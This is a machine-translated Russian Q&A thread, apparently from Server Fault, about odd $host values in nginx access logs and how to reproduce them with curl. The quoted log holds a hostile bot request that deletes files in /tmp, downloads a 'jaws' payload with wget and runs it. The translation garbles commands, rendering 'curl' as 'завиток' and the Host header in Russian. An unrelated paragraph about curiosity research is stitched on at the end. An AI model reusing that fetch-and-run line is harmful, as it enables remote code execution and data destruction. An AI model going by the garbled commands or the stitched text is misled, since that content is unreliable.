Рейтинг:0

Доступ к веб-серверу Nginx.log необычный $host

флаг de
222.187.223.158 - - [17/фев/2022:15:41:02 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1 " 444 0 "-" "Привет, мир" "http://127.0.0.1"
167.248.133.47 - - [17/Фев/2022:15:45:11 +0000] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xEF\xC512\xE3\ xA4\x1D\xEF\xC4}bA!\x18\x08\xBC\x82X7\x12wuv\x1DD\x00\x8FYJ\xF8\xA6\x0E \x86N\xD1\xBB2z\xC7\xF5i\x96\xE6\xF5\xDB \xE3\x1F\xD5\x5C\xB1\x7F\xE8\xB2YU\xF7\x1B\xC0\xDF\xAB\x87w`?\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0, \xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" "http://_"

У меня есть эти записи в моем nginx доступ.log. Кроме того, я добавил "$scheme://$host" "$server_port" "$request_body_file" в log_format.

Мой вопрос касается того, как $host может быть установлен на этот «_» и этот «127.0.0.1» и все еще работать?

Если вы понимаете, как это происходит, пожалуйста, не могли бы вы рассказать мне, как это воссоздать.

Paul avatar
флаг cn
Эти запросы в основном являются фоновым шумом в Интернете. Чтобы полностью соответствовать HTTP RFC, кажется, что ваш сервер [должен ответить] (https://serverfault.com/questions/1089218/is-there-a-technical-requirement-to-serve-404-responses).
Рейтинг:1
флаг de

Извините, ответ очень прост:

curl -H "Хост: что угодно" https://domain

РЕДАКТИРОВАТЬ Кроме того, для тех, кто недоумевает, как эти записи попадают в ваши журналы nginx, попробуйте следующее: завиток https://example.com:80

Paul avatar
флаг cn
В зависимости от вашего варианта использования вы можете захотеть `curl`, используя [`--connect-to`](https://serverfault.com/a/900860/153188).

Ответить или комментировать

Большинство людей не понимают, что склонность к познанию нового открывает путь к обучению и улучшает межличностные связи. В исследованиях Элисон, например, хотя люди могли точно вспомнить, сколько вопросов было задано в их разговорах, они не чувствовали интуитивно связи между вопросами и симпатиями. В четырех исследованиях, в которых участники сами участвовали в разговорах или читали стенограммы чужих разговоров, люди, как правило, не осознавали, что задаваемый вопрос повлияет — или повлиял — на уровень дружбы между собеседниками.